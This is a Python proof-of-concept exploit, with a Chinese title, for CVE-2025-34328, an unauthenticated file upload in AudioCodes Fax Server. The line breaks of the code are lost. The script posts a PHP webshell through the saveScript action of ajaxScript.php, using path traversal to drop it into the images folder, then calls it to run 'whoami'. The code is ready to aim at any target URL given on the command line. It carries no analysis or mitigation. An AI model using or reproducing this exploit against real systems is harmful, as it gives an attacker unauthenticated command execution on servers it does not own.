CVE-2025-34328: AudioCodes Fax Server 未经授权文件上传远程代码执行漏洞

import requests import sys # CVE-2025-34328 PoC - Unauthenticated File Upload to RCE # Target: AudioCodes Fax Server / Auto-Attendant IVR def exploit(target_url, lhost, lport): """ Exploit for CVE-2025-34328 AudioCodes Fax Server unauthenticated file upload leading to RCE """ # Step 1: Upload malicious PHP webshell via ajaxScript.php upload_url = f"{target_url}/AudioCodes_files/utils/IVR/diagram/ajaxScript.php" # PHP webshell payload webshell = f"<?php system($_GET['cmd']); ?>" # Construct the saveScript request files = { 'action': (None, 'saveScript'), 'scriptContent': (None, webshell), 'scriptPath': (None, '../../images/shell.php') } print(f"[*] Uploading webshell to {upload_url}...") try: response = requests.post(upload_url, files=files, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") except Exception as e: print(f"[!] Upload failed: {e}") return False # Step 2: Execute the uploaded webshell shell_url = f"{target_url}/images/shell.php" print(f"[*] Executing webshell at {shell_url}...") cmd = f"whoami" try: exec_url = f"{shell_url}?cmd={cmd}" response = requests.get(exec_url, timeout=10) print(f"[*] Command output: {response.text.strip()}") except Exception as e: print(f"[!] Execution failed: {e}") return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target, "0.0.0.0", "4444")